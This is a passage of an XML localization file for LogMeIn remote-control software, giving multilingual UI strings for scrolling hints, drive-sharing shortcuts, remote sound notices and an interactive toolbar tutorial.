<en-gb>Your computer's desktop is shown here, but it\ndoes not fit on this device's display.</en-gb>
</msg>
<msg name="SCROLLEXPL2">
<en>To scroll this display,  tap and hold the\nstylus near the edge of the screen.</en>
<de>Um die Anzeige zu scrollen, tippen sie\n
auf die Anzeige und halten den Stift\n
nahe am Bildschirmrand.</de>
<es>Para desplazar el área visualizada, mantenga el \nlápiz cerca del borde de la pantalla.</es>
<fr>Pour faire défiler l'affichage, presser et maintenez presser le the\nstyluslégèement près du bord de l'écran.</fr>
<it>Per scorrere il display, toccare con lo stilo\n vicino al bordo dello schermo e mantenerlo in posizione.</it>
<ru>Чтобы прокрутить данный экран, захватите и удерживайте перо рядом с краем экрана.</ru>
<ja>このディスプレイをスクロールするには、画面の端でスタイラスペンを\nタップ アンド ホールドします。</ja>
<zh>要滚动此显示屏,请按住靠近\n屏幕边缘的笔针。</zh>
<ko>이 디스플레이를 스크롤하려면 화면 \n가장자리에 있는 스타일러스를 계속 누르고 있습니다.</ko>
<en-gb>To scroll this display, tap and hold the\nstylus near the edge of the screen.</en-gb>
<hu>A kijelző görgetéséhez a ceruzát tegye le \nés tartsa lenyomva a képernyő széle közelében.</hu>
<pt-br>Para percorrer esta exibição, toque a caneta\n e mantenha pressionada perto da borda da tela.</pt-br>
<nl>Als u in dit scherm wilt schuiven, tapt u met de\ntekenpen aan de rand van het scherm en houdt u de tekenpen hier ingedrukt.</nl>
</msg>
<msg name="SCROLLEXPL3">
<en>To change the remote desktop's\nresolution or zoom out, click the second\nbutton on the toolbar.</en>
<de>Um die Auflösung des Desktops\n
zu ändern oder den Zoom zu\n
verkleinern, klicken sie auf die\n
zweite Schaltfläche in der Toolbar.</de>
<es>Para modificar la resolución del escritorio\nremoto o alejar, haga clic en el segundo\nbotón de la barra de herramientas.</es>
<fr>Pour changer la résolution du burau\n distant ou faire un zoom arrière, cliquez le second\nbouton sur la barre d'outils.</fr>
<it>Per modificare la risoluzione del desktop\nremoto o ridurre la visualizzazione, fare clic sul secondo\npulsante della barra degli strumenti.</it>
<ru>Чтобы изменить разрешение или масштаб\n удаленного рабочего стола, щелкните вторую\n кнопку на данной панели управления.</ru>
<ja>リモート デスクトップの解像度やズーム アウトを\n変更するには、ツールバー上の 2 番目のボタンを\nクリックします。</ja>
<zh>要更改远程桌面的分辨率\n或将其缩小,请单击工具栏上的第二个\n按钮。</zh>
<ko>원격 데스크톱의 해상도를 \n변경하거나 축소하려면 도구 모음의 두 번째\n버튼을 클릭합니다.</ko>
<en-gb>To change the remote desktop's\nresolution or zoom out, click the second\nbutton on the toolbar.</en-gb>
<hu>A távoli asztal felbontásának\n módosításához vagy a kicsinyítéshez kattintson \n az eszköztár második gombjára.</hu>
<pt-br>Para alterar a resolução da \nárea de trabalho remota ou aplicar zoom, clique no segundo \nbotão da barra de ferramentas.</pt-br>
<nl>Als u de resolutie van het bureaublad\nvan de externe computer wilt wijzigen of wilt uitzoomen, klikt u op de werkbalk\nop de tweede knop.</nl>
</msg>
<msg name="SCROLLEXPL4">
<en>Click the first button to drag the\ntoolbar around the edge of the display.</en>
<de>Klicken sie auf die erste\n
Schaltfläche, um die Toolbar\n
an den Ecken der Anzeige\n
zu bewegen.</de>
<es>Haga clic en el primer botón para arrastrar la\nbarra de herramientas por el borde del área de visualización.</es>
<fr>Cliquez le premier bouton pour déplacer la\nbarre d'outils autour des bordures de l'affichage.</fr>
<it>Fare clic sul primo pulsante per trascinare la\nbarra degli strumenti sul bordo del display.</it>
<ru>Щелкните первую кнопку, чтобы перенести\n панель инструментов к краю данного экрана.</ru>
<ja>1 つ目のボタンをクリックして、ディスプレイの端にある\nツールバーをドラッグしてください。</ja>
<zh>单击第一个按钮以围绕\n显示屏边缘拖动工具栏。</zh>
<ko>첫 번째 버튼을 클릭하여 \n디스플레이 가장자리에 있는 도구 모음을 드래그합니다.</ko>
<en-gb>Click the first button to drag the\ntoolbar around the edge of the display.</en-gb>
<hu>Kattintson az első gombra, hogy az\n eszköztárat a kijelző szélei mentén mozgassa.</hu>
<pt-br>Clique no primeiro botão para arrastar a\n barra de ferramentas ao  redor da borda do monitor.</pt-br>
<nl>Klik op de eerste knop als u de\nwerkbalk wilt verslepen binnen de randen van het scherm.</nl>
</msg>
<msg name="SCROLLNODISPLAY">
<en>Don't display this message again.</en>
<de>Diese Meldung nicht mehr anzeigen.</de>
<es>No volver a mostrar este mensaje.</es>
<fr>A l'avenir, ne plus afficher ce message.</fr>
<it>Non visualizzare più questo messaggio.</it>
<ru>Не показывать это сообщение опять.</ru>
<ja>このメッセージは再び表示されることはありません。</ja>
<zh>不再显示此信息。</zh>
<ko>이 메시지를 다시 표시하지 않습니다.</ko>
<en-gb>Don't display this message again.</en-gb>
<hu>Ne mutassa ismét ezt az üzenetet.</hu>
<pt-br>Não exiba esta mensagem novamente.</pt-br>
<nl>Dit bericht niet opnieuw weergeven.</nl>
</msg>
<msg name="SCROLLOK">
<en>OK</en>
<de>OK</de>
<es>OK</es>
<fr>OK</fr>
<it>OK</it>
<ru>OK</ru>
<ja>OK</ja>
<zh>确定</zh>
<ko>확인</ko>
<en-gb>OK</en-gb>
<hu>OK</hu>
<pt-br>OK</pt-br>
<nl>OK</nl>
</msg>
</cat>
</cat>
<cat name="RFS">
<msg name="REMOVABLE_DISK">
<en>Removable Disk</en>
<de>Wechselmedium</de>
<es>Disco extraíble</es>
<fr>Disque amovible</fr>
<it>Disco rimovibile</it>
<ru>Съемный диск</ru>
<ja>取り外し可能なディスク</ja>
<zh>可移动磁盘</zh>
<ko>이동식 디스크</ko>
<hu>Cserélhető lemez</hu>
<pt-br>Disco removível</pt-br>
<nl>Verwisselbare schijf</nl>
</msg>
<msg name="HARD_DISK">
<en>Hard Disk</en>
<de>Festplatte</de>
<es>Disco duro</es>
<fr>Disque dur</fr>
<it>Disco rigido</it>
<ru>Жесткий диск</ru>
<ja>ハードディスク</ja>
<zh>硬盘</zh>
<ko>디스크</ko>
<hu>Merevlemez</hu>
<pt-br>Disco rígido</pt-br>
<nl>Vaste schijf</nl>
</msg>
<msg name="NETWORK_DISK">
<en>Network Disk</en>
<de>Netzwerkdatenträger</de>
<es>Disco de red</es>
<fr>Disque réseau</fr>
<it>Disco di rete</it>
<ru>Сетевой диск</ru>
<ja>ネットワークディスク</ja>
<zh>网络磁盘</zh>
<ko>네트워크 디스크</ko>
<hu>Hálózati lemez</hu>
<pt-br>Disco de rede</pt-br>
<nl>Netwerkschijf</nl>
</msg>
<msg name="COMPACT_DISK">
<en>Compact Disk</en>
<de>CD</de>
<es>Disco compacto</es>
<fr>Disque compact</fr>
<it>Compact disk</it>
<ru>Компакт-диск</ru>
<ja>コンパクトディスク</ja>
<zh>光盘</zh>
<ko>컴팩트 디스크</ko>
<hu>CD lemez</hu>
<pt-br>CD</pt-br>
<nl>Cd (Compact Disk)</nl>
</msg>
<msg name="RAM_DISK">
<en>RAM Disk</en>
<de>RAM-Disk</de>
<es>Disco RAM</es>
<fr>Disque RAM</fr>
<it>Disco RAM</it>
<ru>Диск ОЗУ</ru>
<ja>メモリー(RAM)ディスク</ja>
<zh>RAM 磁盘</zh>
<ko>RAM 디스크</ko>
<hu>RAM lemez</hu>
<pt-br>Disco RAM</pt-br>
<nl>RAM-schijf</nl>
</msg>
<msg name="DIRECTORY">
<en>Directory</en>
<de>Verzeichnis</de>
<es>Directorio</es>
<fr>Répertoire</fr>
<it>Directory</it>
<ru>Каталог</ru>
<ja>ディレクトリー</ja>
<zh>目录</zh>
<ko>디렉터리</ko>
<hu>Könyvtár</hu>
<pt-br>Diretório</pt-br>
<nl>Map</nl>
</msg>
<!-- "Shortcut to user directories" strings -->
<msg name="SHORTCUT_DRIVES_CONNECTED">
<en>Drives Connected from %COMPUTERNAME</en>
<de>Laufwerke verbunden von %COMPUTERNAME</de>
<es>Unidades conectadas desde %COMPUTERNAME</es>
<fr>Lecteurs connectés depuis %COMPUTERNAME</fr>
<it>Unità connesse da %COMPUTERNAME</it>
<ru>Подключены диски с %COMPUTERNAME</ru>
<ja>接続されているドライブ: %COMPUTERNAME</ja>
<zh>连接自 %COMPUTERNAME 的驱动器</zh>
<ko>%COMPUTERNAME에서 연결된 드라이브</ko>
<hu>A(z) %COMPUTERNAME géphez csatlakozó meghajtók</hu>
<pt-br>Unidades conectadas do %COMPUTERNAME</pt-br>
<nl>Gekoppelde stations van %COMPUTERNAME</nl>
</msg>
<msg name="SHORTCUT_DRIVES_CONNECTED_VIA">
<en>Drives Connected from %COMPUTERNAME via %PRODUCTNAME</en>
<de>Laufwerke verbunden von %COMPUTERNAME über %PRODUCTNAME</de>
<es>Unidades conectadas desde %COMPUTERNAME a través de %PRODUCTNAME</es>
<fr>Lecteurs connectés depuis %COMPUTERNAME via %PRODUCTNAME</fr>
<it>Unità connesse da %COMPUTERNAME mediante %PRODUCTNAME</it>
<ru>Подключены диски с %COMPUTERNAME через %PRODUCTNAME</ru>
<ja>接続されているドライブ(%PRODUCTNAME経由): %COMPUTERNAME</ja>
<zh>连接自 %COMPUTERNAME 的驱动器(通过 %PRODUCTNAME)</zh>
<ko>%PRODUCTNAME을(를) 통해 %COMPUTERNAME에서 연결된 드라이브</ko>
<hu>A(z) %COMPUTERNAME géphez a %PRODUCTNAME segítségével csatlakozó meghajtók</hu>
<pt-br>Unidades conectadas do %COMPUTERNAME via %PRODUCTNAME</pt-br>
<nl>Gekoppelde stations van %COMPUTERNAME via %PRODUCTNAME</nl>
</msg>
<msg name="SHORTCUT_MY_DOCUMENTS">
<en>My Documents on %COMPUTERNAME</en>
<de>Eigene Dateien auf %COMPUTERNAME</de>
<es>Mis documentos en %COMPUTERNAME</es>
<fr>Mes documents sur %COMPUTERNAME</fr>
<it>Documenti di %COMPUTERNAME</it>
<ru>Мои документы на %COMPUTERNAME</ru>
<ja>%COMPUTERNAME のマイ ドキュメント</ja>
<zh>%COMPUTERNAME 上的我的文档</zh>
<ko>%COMPUTERNAME에 있는 내 문서</ko>
<hu>Saját dokumentumok a %COMPUTERNAME gépen</hu>
<pt-br>Meus Documentos no %COMPUTERNAME</pt-br>
<nl>Mijn documenten op %COMPUTERNAME</nl>
</msg>
<msg name="SHORTCUT_MY_DOCUMENTS_VIA">
<en>My Documents on %COMPUTERNAME via %PRODUCTNAME</en>
<de>Eigene Dateien auf %COMPUTERNAME über %PRODUCTNAME</de>
<es>Mis documentos en %COMPUTERNAME a través de %PRODUCTNAME</es>
<fr>Mes documents sur %COMPUTERNAME via %PRODUCTNAME</fr>
<it>Documenti di %COMPUTERNAME mediante %PRODUCTNAME</it>
<ru>Мои документы на %COMPUTERNAME через %PRODUCTNAME</ru>
<ja>%COMPUTERNAME のマイドキュメント(%PRODUCTNAME 経由)</ja>
<zh>%COMPUTERNAME 上的我的文档(通过 %PRODUCTNAME)</zh>
<ko>%PRODUCTNAME을(를) 통해 %COMPUTERNAME에 있는 내 문서</ko>
<hu>Saját dokumentumok a %COMPUTERNAME gépen a %PRODUCTNAMEnel</hu>
<pt-br>Meus Documentos no %COMPUTERNAME via %PRODUCTNAME</pt-br>
<nl>Mijn documenten op %COMPUTERNAME via %PRODUCTNAME</nl>
</msg>
<msg name="SHORTCUT_DESKTOP">
<en>My Desktop on %COMPUTERNAME</en>
<de>Mein Desktop auf %COMPUTERNAME</de>
<es>Mi escritorio en %COMPUTERNAME</es>
<fr>Mon bureau sur %COMPUTERNAME</fr>
<it>Desktop di %COMPUTERNAME</it>
<ru>Мой рабочий стол на %COMPUTERNAME</ru>
<ja>%COMPUTERNAME のマイ デスクトップ</ja>
<zh>%COMPUTERNAME 上的我的桌面</zh>
<ko>%COMPUTERNAME에 있는 내 데스크톱</ko>
<hu>Saját asztal a %COMPUTERNAME gépen</hu>
<pt-br>Minha Área de Trabalho no %COMPUTERNAME</pt-br>
<nl>Mijn Bureaublad op %COMPUTERNAME</nl>
</msg>
<msg name="SHORTCUT_DESKTOP_VIA">
<en>My Desktop on %COMPUTERNAME via %PRODUCTNAME</en>
<de>Mein Desktop auf %COMPUTERNAME über %PRODUCTNAME</de>
<es>Mi escritorio en %COMPUTERNAME a través de %PRODUCTNAME</es>
<fr>Mon bureau sur %COMPUTERNAME via %PRODUCTNAME</fr>
<it>Desktop di %COMPUTERNAME mediante %PRODUCTNAME</it>
<ru>Мой рабочий стол на %COMPUTERNAME через %PRODUCTNAME</ru>
<ja>%COMPUTERNAME のマイ ディスクトップ(%PRODUCTNAME 経由)</ja>
<zh>%COMPUTERNAME 上的我的桌面(通过 %PRODUCTNAME)</zh>
<ko>%PRODUCTNAME을(를) 통해 %COMPUTERNAME에 있는 내 데스크톱</ko>
<hu>Saját asztal a %COMPUTERNAME gépen a %PRODUCTNAMEnel</hu>
<pt-br>Minha área de trabalho no %COMPUTERNAME via %PRODUCTNAME</pt-br>
<nl>Mijn Bureaublad op %COMPUTERNAME via %PRODUCTNAME</nl>
</msg>
<msg name="DRIVES_ON">
<en>Drives on '%COMPUTERNAME'</en>
<de>Laufwerke auf '%COMPUTERNAME'</de>
<es>Unidades en '%COMPUTERNAME'</es>
<fr>Lecteurs sur '%COMPUTERNAME'</fr>
<it>Unità di '%COMPUTERNAME'</it>
<ru>Диски на '%COMPUTERNAME'</ru>
<ja>ドライブ '%COMPUTERNAME'</ja>
<zh>%COMPUTERNAME 上的驱动器</zh>
<ko>'%COMPUTERNAME'에 있는 드라이브</ko>
<hu>A(z) %COMPUTERNAME gép meghajtói</hu>
<pt-br>Unidades no '%COMPUTERNAME'</pt-br>
<nl>Stations op '%COMPUTERNAME'</nl>
</msg>
<msg name="NOTIFY_CONNECTED">
<en>The disk drives on your local computer have been temporarily connected.</en>
<de>Die Festplattenlaufwerke Ihres lokalen Computers wurden temporär verbunden.</de>
<es>Las unidades de disco de su ordenador se han conectado temporalmente. </es>
<fr>Les lecteurs de disques de votre ordinateur local ont été temporairement connectés.</fr>
<it>Le unità disco del computer locale sono state temporaneamente connesse.</it>
<ru>Были временно подключены диски вашего локального компьютера.</ru>
<ja>ローカル コンピュータのディスク ドライブは一時的に接続されました。</ja>
<zh>您的本地计算机上的磁盘驱动器已暂时连接。</zh>
<ko>로컬 컴퓨터의 디스크 드라이브가 일시적으로 연결되었습니다.</ko>
<hu>A helyi számítógép lemezmeghajtói ideiglenesen csatlakoztatva vannak.</hu>
<pt-br>As unidades de disco do seu computador local foram conectadas temporariamente.</pt-br>
<nl>De schijfstations op uw lokale computer zijn tijdelijk gekoppeld.</nl>
</msg>
</cat>
<cat name="SOUND">
<msg name="NOTIFY_CONNECTED">
<en>Remote sound is enabled. Sounds on the host computer will be streamed to the client.</en>
<de>Die Tonübertragung vom Ferncomputer ist aktiviert. Töne des Hostcomputers werden an den Client übertragen.</de>
<es>El sonido remoto está habilitado. Los sonidos del ordenador host se transmitirán al cliente.</es>
<fr>Le son à distance est activé. Les sons de l'ordinateur hôte seront diffusés sur le client.</fr>
<it>L'audio remoto è attivato. I suoni prodotti nel computer host verranno inviati al client.</it>
<ru>Включена удаленная передача звука. Звуки с хост-компьютера будут передаваться на клиент.</ru>
<ja>リモート サウンドが有効になりました。 ホスト コンピュータの音声がクライアントへストリーミングされます。</ja>
<zh>远程声音已启用。 主机上的声音将自动传送到客户端上。</zh>
<ko>원격 사운드를 사용할 수 있습니다. 호스트 컴퓨터의 사운드가 클라이언트로 스트리밍됩니다.</ko>
<hu>Távoli hang engedélyezve. A gazdagép hangja a kliensgépre lesz közvetítve.</hu>
<pt-br>O som remoto está ativado. Os sons no computador host serão transmitidos para o cliente.</pt-br>
<nl>Extern geluid is ingeschakeld. De geluiden op de hostcomputer worden via een stream aan de client overgedragen.</nl>
</msg>
</cat>
<cat name="G2UI_BUBBLES">
<msg name="TIP_OF_DAY">
<en>Tip Of The Day</en>
<es>Truco del día</es>
<de>Tipp des Tages</de>
<fr>Astuce du jour</fr>
<it>Suggerimento del giorno</it>
<ru>Совет дня</ru>
<ja>ワンポイント</ja>
<zh>每日提示</zh>
<ko>오늘의 정보</ko>
<hu>Napi tipp</hu>
<pt-br>Dica do dia</pt-br>
<nl>Tip van de dag</nl>
<en-gb>Tip Of The Day</en-gb>
</msg>
<msg name="CONTINUE">
<en>Continue</en>
<de>Weiter</de>
<es>Continuar</es>
<fr>Continuer</fr>
<it>Continua</it>
<ru>Продолжить</ru>
<ja>続行</ja>
<zh>继续</zh>
<ko>계속</ko>
<en-gb>Continue</en-gb>
<hu>Folytatás</hu>
<pt-br>Continuar</pt-br>
<nl>Doorgaan</nl>
</msg>
<msg name="NEVER_SHOW_HINTS">
<en>Never show me these hints in the future.</en>
<es>No volver a mostrar trucos en el futuro.</es>
<de>Diese Hinweise in Zukunft nicht mehr anzeigen.</de>
<fr>Ne plus afficher ces astuces.</fr>
<it>Non visualizzare più questi suggerimenti.</it>
<ru>Больше не показывать эти подсказки.</ru>
<ja>次回からはヒントを表示しない。</ja>
<zh>以后不要向我显示这些提示。</zh>
<ko>이 힌트를 다시 표시하지 않음</ko>
<hu>További tippek megjelenítésének kikapcsolása.</hu>
<pt-br>Nunca mostrar estas dicas no futuro.</pt-br>
<nl>Deze tips niet meer tonen.</nl>
<en-gb>Never show me these hints in the future.</en-gb>
</msg>
<msg name="NEXT_TIP">
<en>Next Tip</en>
<es>Truco siguiente</es>
<de>Nächster Tipp</de>
<fr>Astuce suivante.</fr>
<it>Suggerimento successivo</it>
<ru>Следующий совет</ru>
<ja>次のヒント</ja>
<zh>下一个提示</zh>
<ko>다음 정보 보기</ko>
<hu>Következő tipp</hu>
<pt-br>Próxima dica</pt-br>
<nl>Volgende tip</nl>
<en-gb>Next Tip</en-gb>
</msg>
<msg name="WELCOME">
<en>Welcome</en>
<de>Willkommen</de>
<es>Bienvenido</es>
<fr>Bienvenue</fr>
<it>Benvenuto</it>
<ru>Добро пожаловать</ru>
<ja>ようこそ</ja>
<zh>欢迎</zh>
<ko>시작</ko>
<en-gb>Welcome</en-gb>
<hu>Üdvözöljük</hu>
<pt-br>Bem-vindo</pt-br>
<nl>Welkom</nl>
</msg>
<msg name="TTITLE">
<en>Tutorial</en>
<es>Tutorial</es>
<de>Lernprogramm</de>
<fr>Didacticiel</fr>
<it>Esercitazione</it>
<ru>Учебник</ru>
<ja>チュートリアル</ja>
<zh>教程</zh>
<ko>튜토리얼</ko>
<hu>Oktatóanyag</hu>
<pt-br>Tutorial</pt-br>
<nl>Korte handleiding</nl>
<en-gb>Tutorial</en-gb>
</msg>
<msg name="TUTORIAL_START_CAPTION">
<en>To help you get started with LogMeIn remote control and get an overview of the most helpful features, please start this step-by-step tutorial.</en>
</msg>
<msg name="TUTORIAL_START_BUTTON">
<en>Start Tutorial</en>
</msg>
<msg name="TUTORIAL_CLOSE_BUTTON">
<en>Close Tutorial</en>
</msg>
<msg name="TUTORIAL_PAUSE_TITLE">
<en>Tutorial</en>
</msg>
<msg name="TUTORIAL_PAUSE_CAPTION">
<en>You interrupted the step-by-step tutorial. Do you wish to close it or resume?</en>
</msg>
<msg name="TUTORIAL_STOP_BUTTON">
<en>Stop</en>
</msg>
<msg name="TUTORIAL_RESUME_BUTTON">
<en>Resume</en>
</msg>
<msg name="TUTORIAL_STOP_TITLE">
<en>Thank you</en>
</msg>
<msg name="TUTORIAL_STOP_CAPTION">
<en>You have just finished the step-by-step tutorial. We hope you found it useful. Click on the button below to finish.</en>
</msg>
<msg name="DONT_SHOW_AGAIN">
<en>Don't show again.</en>
<es>No volver a mostrar.</es>
<de>Nicht mehr anzeigen.</de>
<fr>Ne plus afficher.</fr>
<it>Non visualizzare più</it>
<ru>Больше не показывать.</ru>
<ja>次回からは表示しない。</ja>
<zh>不再显示。</zh>
<ko>다시 표시하지 않음</ko>
<hu>Újabb megjelenítés kikapcsolása.</hu>
<pt-br>Não mostrar novamente.</pt-br>
<nl>Niet meer weergeven.</nl>
<en-gb>Don't show again.</en-gb>
</msg>
<msg name="CLOSE">
<en>CLOSE</en>
<de>SCHLIEßEN</de>
<es>CERRAR</es>
<fr>FERMER</fr>
<it>CHIUDI</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>CLOSE</en-gb>
<hu>BEZÁRÁS</hu>
<pt-br>FECHAR</pt-br>
<nl>SLUITEN</nl>
</msg>
<msg name="ACTION_HINTS_CLOSE_DIALOG_TITLE">
<en>Hide Hints</en>
<es>Ocultar consejos</es>
<de>Hinweise ausblenden</de>
<fr>Masquer les astuces</fr>
<it>Nascondi suggerimenti</it>
<ru>Скрыть подсказки</ru>
<ja>ヒントを非表示にする</ja>
<zh>隐藏提示</zh>
<ko>힌트 숨기기</ko>
<hu>Tippek elrejtése</hu>
<pt-br>Ocultar dicas</pt-br>
<nl>Tips verbergen</nl>
<en-gb>Hide Hints</en-gb>
</msg>
<msg name="ACTION_HINTS_CLOSE_DIALOG_CAPTION">
<en>Hide all context sensitive hints. Hints can be switched on again from the help menu in remote control.</en>
<es>Ocultar todos los consejos relacionados con el contexto. Los consejos pueden volver a activarse en el menú de ayuda por medio de control remoto.</es>
<de>Alle kontextbezogenen Hinweise ausblenden. Die Hinweise können während der Fernsteuerung im Hilfemenü wieder aktiviert werden.</de>
<fr>Masquer toutes les astuces contextuelles. Les astuces peuvent être réactivées depuis le menu d'aide du contrôle à distance.</fr>
<it>Nascondi tutti i suggerimenti sensibili al contesto. È possibile riattivare i suggerimenti nel menu ? del controllo remoto.</it>
<ru>Скрыть все контекстные подсказки. Подсказки снова можно включить в меню справки приложения удаленного управления.</ru>
<ja>状況依存のすべてのヒントを非表示にします。 ヒントを再表示するには、リモート制御の [ヘルプ] メニューを使います。</ja>
<zh>隐藏所有上下文相关提示。 在远程控制中可通过帮助菜单重新打开提示。</zh>
<ko>모든 상황에 맞는 힌트를 숨깁니다. 원격 제어의 도움말 메뉴에서 힌트를 다시 켤 수 있습니다.</ko>
<hu>Minden környezetfüggő tipp elrejtése. A tippek megjelenítése távvezérlés során a Súgó menüből kapcsolható be ismét.</hu>
<pt-br>Ocultar todas as dicas contextuais As dicas podem ser reativadas no menu Ajuda do controle remoto.</pt-br>
<nl>Alle context-gebonden tips verbergen. Tips kunnen vanuit het menu Help tijdens besturing op afstand opnieuw worden ingeschakeld.</nl>
<en-gb>Hide all context sensitive hints. Hints can be switched on again from the help menu in remote control.</en-gb>
</msg>
<msg name="TUTORIAL_STATE_FULLSCREEN_BUTTON">
<en>Click the full screen button to get a better view of your remote desktop.</en>
</msg>
<msg name="TUTORIAL_STATE_FULLSCREEN_BUTTON_BUBBLE">
<en>Full Screen</en>
<de>Vollbild</de>
<es>Pantalla completa</es>
<fr>Plein écran</fr>
<it>Schermo intero</it>
<ru>Во весь экран</ru>
<ja>全画面</ja>
<zh>全屏</zh>
<ko>전체 화면</ko>
<en-gb>Full Screen</en-gb>
<hu>Teljes képernyő</hu>
<pt-br>Tela inteira</pt-br>
<nl>Volledig scherm</nl>
</msg>
<msg name="TUTORIAL_STATE_FULLSCREEN_BUTTON_TEXT1">
<en>To get the most real-estate for your remote desktop, click the full screen button.</en>
</msg>
<msg name="TUTORIAL_STATE_FULLSCREEN_BUTTON_TEXT2">
<en>Click the full screen button now in the top-right of the toolbar to get a better view of the target computer.</en>
</msg>
<msg name="TUTORIAL_STATE_FULLSCREEN_BUTTON_TITLE">
<en>Switch to Full Screen</en>
</msg>
<msg name="TUTORIAL_STATE_NUBBIN">
<en>Move and hold your mouse over here to view the toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_NUBBIN_TITLE">
<en>Show &amp; Hide Toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_NUBBIN_BUBBLE">
<en>ShowToolbar</en>
</msg>
<msg name="TUTORIAL_STATE_NUBBIN_TEXT1">
<en>In full screen mode, the black toolbar is hidden to increase space. To show the toolbar, move your mouse over the thin bar at the very top of the screen.</en>
</msg>
<msg name="TUTORIAL_STATE_NUBBIN_TEXT2">
<en>Move your mouse over the thin bar now to view the toolbar.</en>
</msg>
<msg name="TUTORIAL_STATE_PIN_BUTTON">
<en>You may pin the toolbar to your screen so that it is always visible, even in full screen mode.</en>
</msg>
<msg name="TUTORIAL_STATE_PIN_BUTTON_TITLE">
<en>Pin the Toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_PIN_BUTTON_BUBBLE">
<en>Pin Toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_PIN_BUTTON_TEXT1">
<en>To keep the toolbar on the screen, click on the pin icon. This pins the toolbar to the screen and prevents it from hiding.</en>
</msg>
<msg name="TUTORIAL_STATE_PIN_BUTTON_TEXT2">
<en>Click to pin the toolbar to the screen now.</en>
</msg>
<msg name="TUTORIAL_STATE_TITLE_BAR">
<en>If the toolbar covers some item on your desktop, simply drag it to any position at the top of your screen. Try moving the toolbar now.</en>
</msg>
<msg name="TUTORIAL_STATE_TITLE_BAR_TITLE">
<en>Drag the Toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_TITLE_BAR_BUBBLE">
<en>Drag Toolbar</en>
</msg>
<msg name="TUTORIAL_STATE_TITLE_BAR_TEXT1">
<en>If the toolbar covers some item on your desktop, simply drag it to any position at the top of your screen.</en>
</msg>
<msg name="TUTORIAL_STATE_TITLE_BAR_TEXT2">
<en>Try using your mouse to drag the toolbar right now.</en>
</msg>
<msg name="TUTORIAL_STATE_OPTIONS_BUTTON">
<en>To access more features of remote control, click the Options button. Click here now to see what’s available.</en>
</msg>
<msg name="TUTORIAL_STATE_OPTIONS_BUTTON_TITLE">
<en>More Options</en>
</msg>
<msg name="TUTORIAL_STATE_OPTIONS_BUTTON_BUBBLE">
<en>More Options</en>
</msg>
<msg name="TUTORIAL_STATE_OPTIONS_BUTTON_TEXT1">
<en>To access more features of remote control click the Options button.</en>
</msg>
<msg name="TUTORIAL_STATE_OPTIONS_BUTTON_TEXT2">
<en>Click the Options button now to see what’s available.</en>
</msg>
<msg name="TUTORIAL_STATE_SCREEN_SETTINGS">
<en>Change the remote screen settings here by adjusting color quality, zoom and resolution. Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_SCREEN_SETTINGS_TITLE">
<en>Screen Settings</en>
<de>Bildschirmeinstellungen</de>
<es>Ajustes de pantalla</es>
<fr>Paramètres d'écran</fr>
<it>Impostazioni dello schermo</it>
<ru>Настройки экрана</ru>
<ja>画面設定</ja>
<ko>화면 설정</ko>
<hu>Képernyő-beállítások</hu>
<pt-br>Configurações de tela</pt-br>
<zh>屏幕设置</zh>
<nl>Scherminstellingen</nl>
</msg>
<msg name="TUTORIAL_STATE_SCREEN_SETTINGS_BUBBLE">
<en>Screen Settings</en>
<de>Bildschirmeinstellungen</de>
<es>Ajustes de pantalla</es>
<fr>Paramètres d'écran</fr>
<it>Impostazioni dello schermo</it>
<ru>Настройки экрана</ru>
<ja>画面設定</ja>
<ko>화면 설정</ko>
<hu>Képernyő-beállítások</hu>
<pt-br>Configurações de tela</pt-br>
<zh>屏幕设置</zh>
<nl>Scherminstellingen</nl>
</msg>
<msg name="TUTORIAL_STATE_SCREEN_SETTINGS_TEXT1">
<en>Change the remote screen settings here by adjusting color quality, zoom &amp; resolution</en>
</msg>
<msg name="TUTORIAL_STATE_SCREEN_SETTINGS_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_CTRL_ALT_DEL_TITLE">
<en>Ctrl-Alt-Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl+Alt+Suppr</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Delete</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Ctrl-Alt-Del</hu>
<pt-br>Ctrl-Alt-Delete</pt-br>
<nl>Ctrl-Alt-Delete</nl>
</msg>
<msg name="TUTORIAL_STATE_CTRL_ALT_DEL_BUBBLE">
<en>Ctrl-Alt-Del</en>
<de>Strg+Alt+Entf</de>
<es>Ctrl-Alt-Supr</es>
<fr>Ctrl+Alt+Suppr</fr>
<it>Ctrl-Alt-Canc</it>
<ru>Ctrl-Alt-Delete</ru>
<ja>Ctrl-Alt-Del</ja>
<zh>Ctrl-Alt-Del</zh>
<ko>Ctrl-Alt-Del</ko>
<en-gb>Ctrl-Alt-Del</en-gb>
<hu>Ctrl-Alt-Del</hu>
<pt-br>Ctrl-Alt-Delete</pt-br>
<nl>Ctrl-Alt-Delete</nl>
</msg>
<msg name="TUTORIAL_STATE_CTRL_ALT_DEL_TEXT1">
<en>To send the Ctrl-Alt-Del key combination to the remote computer, click on the Ctrl-Alt-Del button in the toolbar ribbon.</en>
</msg>
<msg name="TUTORIAL_STATE_CTRL_ALT_DEL_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_CTRL_ALT_DEL">
<en>Using the combination of Ctrl-Alt-Del keys on your keyboard is always a command to the computer you are sitting in front of. If you would like to send this key combination to your remote computer, you can do that here.Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_SOUND">
<en>Remote sound allows you to hear all the message alerts, music etc from the remote computer. Change the volume, quality and source of remote sound here. Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_SOUND_TITLE">
<en>Remote sound</en>
<de>Tonübertragung vom Ferncomputer</de>
<es>Sonido remoto</es>
<fr>Son à distance</fr>
<it>Audio remoto</it>
<ru>Удаленный звук</ru>
<ja>リモート サウンド</ja>
<zh>远程声音</zh>
<ko>원격 사운드</ko>
<hu>Távhang</hu>
<pt-br>Som remoto</pt-br>
<nl>Extern geluid</nl>
</msg>
<msg name="TUTORIAL_STATE_SOUND_BUBBLE">
